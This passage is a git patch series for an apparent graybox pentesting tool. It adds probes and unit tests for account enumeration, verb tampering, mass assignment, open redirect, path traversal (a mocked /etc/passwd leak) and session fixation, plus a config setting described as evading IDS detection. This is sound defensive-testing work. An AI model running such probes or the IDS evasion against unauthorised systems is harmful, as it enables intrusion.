r'(?:class=["\'][^"\']*error[^"\']*["\'][^>]*>)(.*?)<', + r'(?:class=["\'][^"\']*alert[^"\']*["\'][^>]*>)(.*?)<', + r'(?:class=["\'][^"\']*message[^"\']*["\'][^>]*>)(.*?)<', + ] + msg_valid = "" + msg_invalid = "" + for pat in error_patterns: + m_valid = re.search(pat, body_valid, re.I | re.DOTALL) + m_invalid = re.search(pat, body_invalid, re.I | re.DOTALL) + if m_valid: + msg_valid = m_valid.group(1).strip() + if m_invalid: + msg_invalid = m_invalid.group(1).strip() + if msg_valid and msg_invalid: + break + + if msg_valid and msg_invalid and msg_valid != msg_invalid: + differences.append(f"error_message: valid_user='{msg_valid[:80]}', " + f"invalid_user='{msg_invalid[:80]}'") + + # Check response length difference (>10% threshold to avoid noise) + if len_valid > 0 and len_invalid > 0: + ratio = abs(len_valid - len_invalid) / max(len_valid, len_invalid) + if ratio > 0.10: + differences.append(f"response_length: valid={len_valid}, invalid={len_invalid}") + + if differences: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-04", + title="Account enumeration via login response differences", + status="vulnerable", + severity="MEDIUM", + owasp="A07:2021", + cwe=["CWE-204"], + attack=["T1078"], + evidence=differences, + replay_steps=[ + f"Submit login with valid username '{valid_username}' and wrong password.", + f"Submit login with invalid username '{invalid_username}' and wrong password.", + "Compare responses — differences reveal account existence.", + ], + remediation="Return identical error messages for all failed login attempts. " + "Use generic text like 'Invalid credentials' regardless of " + "whether the username exists.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-04", + title="Account enumeration — responses consistent", + status="not_vulnerable", + severity="INFO", + owasp="A07:2021", + evidence=[ + f"status_codes_match={status_valid == status_invalid}", + f"response_lengths_similar=True", + ], + )) diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_access.py b/extensions/business/cybersec/red_mesh/tests/test_probes_access.py index 1ce0d2f7..39ac1c1a 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_probes_access.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_access.py @@ -7,6 +7,7 @@ from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( GrayboxTargetConfig, AccessControlConfig, IdorEndpoint, AdminEndpoint, + BusinessLogicConfig, RecordEndpoint, ) @@ -206,5 +207,126 @@ def test_all_findings_are_graybox(self): self.assertIsInstance(f, GrayboxFinding) +class TestVerbTampering(unittest.TestCase): + + def test_verb_tampering_bypass(self): + """Admin endpoint denies GET but accepts PUT → vulnerable/HIGH.""" + ep = AdminEndpoint(path="/api/admin/users/", method="GET") + probe = _make_probe(admin_endpoints=[ep]) + session = probe.auth.regular_session + + # Baseline GET → 403 + baseline = _mock_response(status=403, text="Forbidden") + # PUT → 200 (bypass) + bypass = _mock_response(status=200, text='{"users": []}') + + call_count = [0] + def mock_request(method, url, **kwargs): + call_count[0] += 1 + if method == "GET": + return baseline + return bypass + + session.request = MagicMock(side_effect=mock_request) + + probe._test_verb_tampering() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A01-03" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-650", vuln[0].cwe) + + def test_verb_tampering_all_denied(self): + """All methods return 403 → not_vulnerable.""" + ep = AdminEndpoint(path="/api/admin/users/", method="GET") + probe = _make_probe(admin_endpoints=[ep]) + session = probe.auth.regular_session + session.request = MagicMock(return_value=_mock_response(status=403, text="Forbidden")) + + probe._test_verb_tampering() + clean = [f for f in probe.findings if f.scenario_id == "PT-A01-03" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_verb_tampering_baseline_accessible(self): + """Endpoint already accessible via normal method → skip (not a tampering target).""" + ep = AdminEndpoint(path="/api/public/", method="GET") + probe = _make_probe(admin_endpoints=[ep]) + session = probe.auth.regular_session + session.request = MagicMock(return_value=_mock_response(status=200, text="Public data")) + + probe._test_verb_tampering() + a01_03 = [f for f in probe.findings if f.scenario_id == "PT-A01-03"] + self.assertEqual(len(a01_03), 0) + + def test_verb_tampering_no_endpoints(self): + """No admin endpoints → no findings.""" + probe = _make_probe(admin_endpoints=[]) + probe._test_verb_tampering() + self.assertEqual(len([f for f in probe.findings if f.scenario_id == "PT-A01-03"]), 0) + + +class TestMassAssignment(unittest.TestCase): + + def test_mass_assignment_detected(self): + """Privilege field persisted → vulnerable/HIGH.""" + probe = _make_probe(allow_stateful=True) + probe.discovered_forms = ["/profile/"] + session = probe.auth.regular_session + + form_html = '
    ' + # After POST, GET shows is_admin in response + verify_html = '
    ' + + call_count = [0] + def mock_get(url, **kwargs): + call_count[0] += 1 + if call_count[0] <= 1: + return _mock_response(status=200, text=form_html) + return _mock_response(status=200, text=verify_html) + + session.get = MagicMock(side_effect=mock_get) + session.post = MagicMock(return_value=_mock_response(status=302, text="")) + probe.auth.detected_csrf_field = None + probe.auth.extract_csrf_value = MagicMock(return_value=None) + + probe._test_mass_assignment() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A04-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-915", vuln[0].cwe) + + def test_mass_assignment_rejected(self): + """Server rejects extra fields → not_vulnerable.""" + probe = _make_probe(allow_stateful=True) + probe.discovered_forms = ["/profile/"] + session = probe.auth.regular_session + + form_html = '
    ' + session.get = MagicMock(return_value=_mock_response(status=200, text=form_html)) + session.post = MagicMock(return_value=_mock_response( + status=200, text="
    Unknown field
    ", + )) + probe.auth.detected_csrf_field = None + probe.auth.extract_csrf_value = MagicMock(return_value=None) + + probe._test_mass_assignment() + clean = [f for f in probe.findings if f.scenario_id == "PT-A04-01" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_mass_assignment_gated(self): + """Skipped when allow_stateful=False → inconclusive.""" + probe = _make_probe(allow_stateful=False) + findings = probe.run() + skip = [f for f in findings if f.scenario_id == "PT-A04-01" and f.status == "inconclusive"] + self.assertEqual(len(skip), 1) + self.assertIn("stateful_probes_disabled=True", skip[0].evidence) + + def test_mass_assignment_no_forms(self): + """No forms → no findings.""" + probe = _make_probe(allow_stateful=True) + probe.discovered_forms = [] + probe._test_mass_assignment() + self.assertEqual(len([f for f in probe.findings if f.scenario_id == "PT-A04-01"]), 0) + + if __name__ == '__main__': unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py b/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py index 9d3424e7..88887638 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py @@ -252,6 +252,98 @@ def test_stored_xss_gated(self): self.assertIn("stateful_probes_disabled=True", skip[0].evidence) +class TestOpenRedirect(unittest.TestCase): + + def test_open_redirect_detected(self): + """Redirect to evil domain → vulnerable/MEDIUM.""" + probe = _make_probe() + session = probe.auth.official_session + + # Response: 302 redirect to evil.example.com + redirect_resp = _mock_response(status=302, text="") + redirect_resp.headers["Location"] = "//evil.example.com" + session.get = MagicMock(return_value=redirect_resp) + + probe._test_open_redirect() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A01-04" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "MEDIUM") + self.assertIn("CWE-601", vuln[0].cwe) + + def test_open_redirect_safe(self): + """No redirect → not_vulnerable.""" + probe = _make_probe() + session = probe.auth.official_session + session.get = MagicMock(return_value=_mock_response(status=200, text="Normal page")) + + probe._test_open_redirect() + clean = [f for f in probe.findings if f.scenario_id == "PT-A01-04" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_open_redirect_internal_redirect(self): + """Redirect to same domain → not vulnerable.""" + probe = _make_probe() + session = probe.auth.official_session + + redirect_resp = _mock_response(status=302, text="") + redirect_resp.headers["Location"] = "/dashboard/" + session.get = MagicMock(return_value=redirect_resp) + + probe._test_open_redirect() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A01-04" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 0) + + +class TestPathTraversal(unittest.TestCase): + + def test_path_traversal_detected(self): + """/etc/passwd content in response → vulnerable/HIGH.""" + probe = _make_probe() + probe.discovered_routes = ["/download/"] + session = probe.auth.official_session + + normal_resp = _mock_response(status=200, text="Normal content") + passwd_resp = _mock_response( + status=200, + text="root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin\n", + ) + + call_count = [0] + def mock_get(url, **kwargs): + call_count[0] += 1 + params = kwargs.get("params", {}) + for v in params.values(): + if "etc/passwd" in str(v): + return passwd_resp + return normal_resp + + session.get = MagicMock(side_effect=mock_get) + + probe._test_path_traversal() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A03-03" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-22", vuln[0].cwe) + + def test_path_traversal_safe(self): + """No file content markers → not_vulnerable.""" + probe = _make_probe() + probe.discovered_routes = ["/page/"] + session = probe.auth.official_session + session.get = MagicMock(return_value=_mock_response(status=200, text="Safe page content")) + + probe._test_path_traversal() + clean = [f for f in probe.findings if f.scenario_id == "PT-A03-03" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_path_traversal_no_session(self): + """No official session → skip.""" + probe = _make_probe(official_session=None) + probe.auth.official_session = None + probe._test_path_traversal() + self.assertEqual(len(probe.findings), 0) + + class TestCapabilities(unittest.TestCase): def test_capabilities(self): diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py b/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py index 80d6aff0..68a36200 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py @@ -220,6 +220,178 @@ def test_session_token_adequate(self): self.assertEqual(len(clean), 1) +class TestSessionFixation(unittest.TestCase): + + def _mock_cookie_jar(self, cookie_dict): + """Create a mock that behaves like a RequestsCookieJar.""" + jar = MagicMock() + jar.get_dict.return_value = cookie_dict + return jar + + def test_session_fixation_detected(self): + """Same session cookie before and after login → vulnerable/HIGH.""" + probe = _make_probe() + + # Pre-auth session: anon_session returns a cookie + anon = MagicMock() + anon.get.return_value = _mock_response(text="Login page") + anon.cookies = self._mock_cookie_jar({"sessionid": "FIXED_TOKEN_123"}) + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + + # Official session has the same cookie value + official = MagicMock() + official.cookies = self._mock_cookie_jar({"sessionid": "FIXED_TOKEN_123"}) + probe.auth.official_session = official + + probe.auth.detected_csrf_field = None + + probe._test_session_fixation() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A07-03" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-384", vuln[0].cwe) + + def test_session_fixation_rotated(self): + """Different session cookie after login → not_vulnerable.""" + probe = _make_probe() + + anon = MagicMock() + anon.get.return_value = _mock_response(text="Login page") + anon.cookies = self._mock_cookie_jar({"sessionid": "PRE_AUTH_TOKEN"}) + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + + official = MagicMock() + official.cookies = self._mock_cookie_jar({"sessionid": "POST_AUTH_TOKEN"}) + probe.auth.official_session = official + + probe.auth.detected_csrf_field = None + + probe._test_session_fixation() + clean = [f for f in probe.findings if f.scenario_id == "PT-A07-03" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_session_fixation_no_pre_cookies(self): + """No pre-auth cookies → skip (can't test).""" + probe = _make_probe() + + anon = MagicMock() + anon.get.return_value = _mock_response(text="Login page") + anon.cookies = self._mock_cookie_jar({}) + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + probe.auth.official_session = MagicMock() + + probe._test_session_fixation() + self.assertEqual(len([f for f in probe.findings if f.scenario_id == "PT-A07-03"]), 0) + + def test_session_fixation_ignores_csrf_cookie(self): + """CSRF token cookie with same value before/after is not a fixation issue.""" + probe = _make_probe() + + anon = MagicMock() + anon.get.return_value = _mock_response(text="Login page") + anon.cookies = self._mock_cookie_jar({"csrftoken": "SAME_CSRF", "sessionid": "PRE_AUTH"}) + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + + official = MagicMock() + official.cookies = self._mock_cookie_jar({"csrftoken": "SAME_CSRF", "sessionid": "POST_AUTH"}) + probe.auth.official_session = official + + probe.auth.detected_csrf_field = "csrfmiddlewaretoken" + + probe._test_session_fixation() + # csrftoken same is fine; sessionid changed → not_vulnerable + vuln = [f for f in probe.findings if f.scenario_id == "PT-A07-03" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 0) + clean = [f for f in probe.findings if f.scenario_id == "PT-A07-03" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + +class TestAccountEnumeration(unittest.TestCase): + + def test_account_enumeration_detected(self): + """Different error messages for valid/invalid username → vulnerable.""" + probe = _make_probe() + probe.regular_username = "admin" + + session = MagicMock() + session.get.return_value = _mock_response(text='
    ') + session.close = MagicMock() + + call_count = [0] + def mock_post(url, **kwargs): + call_count[0] += 1 + data = kwargs.get("data", {}) + username = data.get("username", "") + if username == "admin": + return _mock_response( + text='
    Invalid password for this account
    ', + ) + else: + return _mock_response( + text='
    No account found with that username
    ', + ) + + session.post = MagicMock(side_effect=mock_post) + probe.auth.make_anonymous_session.return_value = session + probe.auth.detected_csrf_field = None + probe.auth.extract_csrf_value = MagicMock(return_value=None) + + probe._test_account_enumeration() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A07-04" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "MEDIUM") + self.assertIn("CWE-204", vuln[0].cwe) + + def test_account_enumeration_consistent(self): + """Same error messages → not_vulnerable.""" + probe = _make_probe() + probe.regular_username = "admin" + + session = MagicMock() + session.get.return_value = _mock_response(text='
    ') + session.post.return_value = _mock_response( + text='
    Invalid credentials
    ', + ) + session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = session + probe.auth.detected_csrf_field = None + probe.auth.extract_csrf_value = MagicMock(return_value=None) + + probe._test_account_enumeration() + clean = [f for f in probe.findings if f.scenario_id == "PT-A07-04" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_account_enumeration_status_code_diff(self): + """Different status codes for valid/invalid → vulnerable.""" + probe = _make_probe() + probe.regular_username = "admin" + + session = MagicMock() + session.get.return_value = _mock_response(text='
    ') + session.close = MagicMock() + + call_count = [0] + def mock_post(url, **kwargs): + call_count[0] += 1 + data = kwargs.get("data", {}) + if data.get("username") == "admin": + return _mock_response(status=200, text="Wrong password") + return _mock_response(status=302, text="Redirect") + + session.post = MagicMock(side_effect=mock_post) + probe.auth.make_anonymous_session.return_value = session + probe.auth.detected_csrf_field = None + probe.auth.extract_csrf_value = MagicMock(return_value=None) + + probe._test_account_enumeration() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A07-04" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + + class TestCapabilities(unittest.TestCase): def test_capabilities(self): From 513edef5770df7809da307cc8c32361d5439aba2 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 12:21:57 +0000 Subject: [PATCH 063/114] use config var for progress publish interval --- .../cybersec/red_mesh/mixins/live_progress.py | 11 +++++++++-- .../business/cybersec/red_mesh/pentester_api_01.py | 1 + 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index f576a75d..edf4e471 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -6,7 +6,7 @@ """ from ..models import WorkerProgress -from ..constants import PROGRESS_PUBLISH_INTERVAL, PHASE_ORDER, GRAYBOX_PHASE_ORDER +from ..constants import PHASE_ORDER, GRAYBOX_PHASE_ORDER def _thread_phase(state): @@ -169,7 +169,7 @@ def _publish_live_progress(self): Per-thread data (phase, ports) is included when multiple threads are active. """ now = self.time() - if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: + if now - self._last_progress_publish < self.cfg_progress_publish_interval: return self._last_progress_publish = now @@ -258,6 +258,13 @@ def _publish_live_progress(self): key=f"{job_id}:{ee_addr}", value=progress.to_dict(), ) + self.P( + "[LIVE->CSTORE] Published worker progress " + f"job_id={job_id} worker={ee_addr} pass={pass_nr} " + f"phase={phase} progress={progress_pct}% " + f"ports={total_scanned}/{total_ports} open={len(all_open)} " + f"key={job_id}:{ee_addr}" + ) def _clear_live_progress(self, job_id, worker_addresses): """ diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index aececf35..385776c3 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -121,6 +121,7 @@ "RUN_MODE": RUN_MODE_SINGLEPASS, "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes + "PROGRESS_PUBLISH_INTERVAL": 30, # seconds between live progress writes to CStore # Dune sand walking - random delays between operations to evade IDS detection "SCAN_MIN_RND_DELAY": 0.0, # minimum delay in seconds (0 = disabled) From 59c10582bb7f994a0ded5cb79345a5231e0c5b81 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 13:24:08 +0000 Subject: [PATCH 064/114] fix cleanup constants --- extensions/business/cybersec/red_mesh/constants.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 0a62ee08..be96c495 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -280,12 +280,6 @@ class ScanType(str, Enum): JOB_ARCHIVE_VERSION = 1 MAX_CONTINUOUS_PASSES = 100 -# ===================================================================== -# Live progress publishing -# ===================================================================== - -PROGRESS_PUBLISH_INTERVAL = 10 # seconds between progress updates to CStore - # Scan phases in execution order (5 phases total) PHASE_ORDER = ["port_scan", "fingerprint", "service_probes", "web_tests", "correlation"] PHASE_MARKERS = { From d2c6e10f7cc30235f1787d55fa2e18d8aa8393b9 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 10:04:25 +0000 Subject: [PATCH 065/114] fix: docs cleanup --- .../docs/codex/2026-03-11-phase-1-summary.md | 111 ------------ .../docs/codex/2026-03-11-phase-2-summary.md | 158 ------------------ .../docs/codex/2026-03-11-phase-3-summary.md | 99 ----------- .../docs/codex/2026-03-11-phase-4-summary.md | 93 ----------- .../docs/codex/2026-03-11-phase-5-summary.md | 80 --------- .../docs/codex/2026-03-11-phase-6-summary.md | 135 --------------- .../docs/codex/2026-03-11-phase-7-summary.md | 125 -------------- .../docs/codex/2026-03-11-phase-8-summary.md | 158 ------------------ 8 files changed, 959 deletions(-) delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md delete mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md deleted file mode 100644 index c99cac0a..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-1-summary.md +++ /dev/null @@ -1,111 +0,0 @@ -# RedMesh Phase 1 Summary - -Date: 2026-03-11 -Phase: 1 - Contract Correctness and Graybox Identity Propagation - -## Scope - -This phase fixed the current cross-layer contract issues that caused graybox jobs to lose identity or expose the wrong identity across: -- backend running job listings -- backend finalized stubs -- backend progress payloads -- Navigator job normalization - -## What Was Done - -### Backend - -Updated `pentester_api_01.py` to: -- persist `target_url` in `job_specs` at launch time -- return `job_status` from `get_job_progress()` -- include `scan_type` and `target_url` in running-job payloads returned by `list_network_jobs()` -- preserve `scan_type` and `target_url` when pruning a finalized job to `CStoreJobFinalized` - -Updated `models/cstore.py` to: -- extend `CStoreJobFinalized` with: - - `scan_type` - - `target_url` - -### Frontend - -Updated `RedMesh-Navigator/lib/api/jobs.ts` to: -- export `normalizeJobFromSpecs()` for focused regression testing -- map `targetUrl` from `specs.target_url` instead of `specs.target` - -Updated `RedMesh-Navigator/lib/services/redmeshApi.types.ts` to: -- add `target_url` to `JobSpecs` - -## Issues Addressed - -Resolved in this phase: -- `001-M1` `get_job_progress` returned the wrong status field -- `001-H2` running job listing omitted `scan_type` -- `001-L1` finalized stub lacked `scan_type` and `target_url` -- `003-5` running listing payload missing graybox identity -- `003-6` finalized payload missing graybox identity -- `004-FE-C1` Navigator mapped graybox `targetUrl` from `target` instead of `target_url` - -## Tests Added / Updated - -Backend: -- `tests/test_api.py` - - finalized stub now asserts `scan_type` and `target_url` - - running listing now asserts `scan_type` and `target_url` - - progress endpoint now asserts returned status comes from `job_status` -- `tests/test_integration.py` - - progress integration asserts `status` - - listing integration asserts `scan_type` and `target_url` on running and finalized jobs - -Frontend: -- `__tests__/jobs-api.test.ts` - - added direct normalization coverage for running and finalized graybox jobs -- `__tests__/jobs-route.test.ts` - - adjusted existing route test harness so targeted route tests run reliably in Jest - -## Verification Results - -Backend: -```bash -PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py -``` - -Result: -- `77 passed` - -Frontend: -```bash -npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts -``` - -Result: -- `2 test suites passed` -- `6 tests passed` - -## Result - -After Phase 1: -- running webapp jobs are self-describing in list responses -- finalized webapp jobs preserve scan identity in CStore stubs -- Navigator shows the correct graybox target URL instead of the host fallback -- progress responses expose a real job lifecycle status value - -## Remaining Gaps Before Phase 2 - -Not addressed in this phase: -- graybox finding counts are still underreported in audit/finalization paths -- archived `UiAggregate` still does not fully populate graybox-specific scenario metrics -- evidence/report aggregation still needs the Phase 2 shared counting helper - -## Files Changed - -Backend: -- `extensions/business/cybersec/red_mesh/pentester_api_01.py` -- `extensions/business/cybersec/red_mesh/models/cstore.py` -- `extensions/business/cybersec/red_mesh/tests/test_api.py` -- `extensions/business/cybersec/red_mesh/tests/test_integration.py` - -Frontend: -- `RedMesh-Navigator/lib/api/jobs.ts` -- `RedMesh-Navigator/lib/services/redmeshApi.types.ts` -- `RedMesh-Navigator/__tests__/jobs-api.test.ts` -- `RedMesh-Navigator/__tests__/jobs-route.test.ts` diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md deleted file mode 100644 index 6c95fa64..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md +++ /dev/null @@ -1,158 +0,0 @@ -# RedMesh Phase 2 Summary - -Date: 2026-03-11 -Phase: 2 - Reporting and Evidence Correctness - -## Scope - -This phase fixed the evidence-counting and archive-summary gaps that remained after graybox integration. - -The focus was: -- correct finding counts in all backend consumers -- correct per-worker finding metadata in pass reports -- correct archive `UiAggregate` values for graybox scenario/discovery data -- consistent behavior across close, finalize, and archive-build paths - -## What Was Done - -### Shared counting logic - -Added shared report helpers in `mixins/report.py`: -- `_count_nested_findings(section)` -- `_count_all_findings(report)` -- `_extract_graybox_ui_stats(aggregated, latest_pass=None)` -- `_dedupe_items(items)` - -This removed duplicated counting logic and made graybox findings part of the same counting contract as: -- `service_info` -- `web_tests_info` -- `correlation_findings` -- `graybox_results` - -### Close/finalize path fixes - -Updated `pentester_api_01.py` to use `_count_all_findings()` in: -- `_close_job()` audit event generation -- `_maybe_finalize_pass()` worker metadata generation - -This means: -- `scan_completed` audit events now count graybox findings -- `WorkerReportMeta.nr_findings` now includes graybox findings - -### Archive aggregate fixes - -Updated `_compute_ui_aggregate()` in `mixins/report.py` to accept `job_config` and populate graybox fields when `scan_type == "webapp"`: -- `scan_type` -- `total_routes_discovered` -- `total_forms_discovered` -- `total_scenarios` -- `total_scenarios_vulnerable` - -Updated `_build_job_archive()` in `pentester_api_01.py` to pass `job_config` into `_compute_ui_aggregate()`. - -Graybox summary values are derived from: -- discovery data stored under `_graybox_discovery` -- `graybox_results` -- pass `scan_metrics` when available - -### Metrics aggregation improvement - -Updated `_merge_worker_metrics()` in `mixins/live_progress.py` so graybox scenario counters are summed across workers/nodes: -- `scenarios_total` -- `scenarios_vulnerable` -- `scenarios_clean` -- `scenarios_inconclusive` -- `scenarios_error` - -This keeps pass-level metrics more faithful for webapp scans. - -## Issues Addressed - -Resolved in this phase: -- `001-C1` `_close_job` audit finding count only walked `service_info` -- `001-H3` `_maybe_finalize_pass` worker metadata missed `graybox_results` -- `001-C2` `_compute_ui_aggregate` did not populate graybox fields -- `003-1` missing shared `_count_all_findings(report)` helper -- `003-2` pass metadata finding count drift -- `003-3` archived `UiAggregate` missing graybox scenario values - -## Acceptance Criteria Check - -### Audit events for webapp jobs include correct finding counts - -Met. - -Verified by: -- unit coverage for `_close_job()` audit count including graybox findings - -### `WorkerReportMeta.nr_findings` is correct for webapp and network jobs - -Met. - -Verified by: -- pass-finalization test covering service + web + correlation + graybox findings in one node report - -### Archived graybox jobs surface non-zero scenario statistics when appropriate - -Met. - -Verified by: -- archive build test asserting non-zero scenario/discovery values in `ui_aggregate` - -### `UiAggregate.scan_type` is set for archived webapp jobs - -Met. - -Verified by: -- archive build test asserting `scan_type == "webapp"` - -## Tests Added / Updated - -Updated: -- `tests/test_api.py` - - worker meta finding counts include graybox findings - - UI aggregate includes graybox route/form/scenario values - - archive UI aggregate includes graybox summary values - - `_close_job` audit count includes graybox findings -- `tests/test_normalization.py` - - `_count_all_findings()` walks all four finding sources - -Also validated against existing suites: -- `tests/test_integration.py` -- `tests/test_jobconfig_webapp.py` -- `tests/test_worker.py` - -## Verification Results - -Command: - -```bash -PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py -``` - -Result: -- `146 passed` - -## Result - -After Phase 2: -- graybox findings are no longer undercounted in audit or pass metadata -- archive-level graybox summary values are precomputed correctly -- webapp evidence is represented more consistently across backend lifecycle stages -- the counting contract is centralized instead of duplicated in multiple paths - -## Remaining Gaps Before Phase 3 - -Not addressed in this phase: -- launch API remains overloaded and scan-type branching is still concentrated in `launch_test()` -- feature discovery/validation is still not scan-type-aware -- webapp launch semantics still need separation from network distribution semantics - -## Files Changed - -- `extensions/business/cybersec/red_mesh/mixins/report.py` -- `extensions/business/cybersec/red_mesh/mixins/live_progress.py` -- `extensions/business/cybersec/red_mesh/pentester_api_01.py` -- `extensions/business/cybersec/red_mesh/tests/test_api.py` -- `extensions/business/cybersec/red_mesh/tests/test_normalization.py` -- `extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md` diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md deleted file mode 100644 index b9e5be01..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-3-summary.md +++ /dev/null @@ -1,99 +0,0 @@ -# Phase 3 Summary - -Date: 2026-03-11 - -## Goal - -Split the mixed `launch_test()` flow into scan-type-specific launch paths, harden validation, and update Navigator to call the explicit backend endpoints while keeping backward compatibility. - -## Issues Addressed - -- `002` endpoint split analysis -- `001-C4` webapp config inherited bogus default `exceptions` -- `001-H1` webapp launch produced network-style sliced worker assignments -- `001-M2` mixed launch flow was network-centric and hard to reason about -- `001-M3` webapp launch semantics were mixed with irrelevant network fields -- `001-L2` validation behavior was inconsistent -- design debt called out in `006` - -## What Was Done - -### Backend - -- Added scan-type-specific endpoints in [pentester_api_01.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py): - - `launch_network_scan()` - - `launch_webapp_scan()` -- Converted `launch_test()` into a compatibility router shim that dispatches by `scan_type`. -- Extracted shared launch helpers for: - - structured validation payloads - - exception parsing - - peer resolution - - common option normalization - - network worker assignment - - webapp worker assignment - - final immutable config + CStore announcement -- Changed webapp launch behavior to: - - require `target_url` - - require official credentials - - validate only `http`/`https` URLs - - assign the same 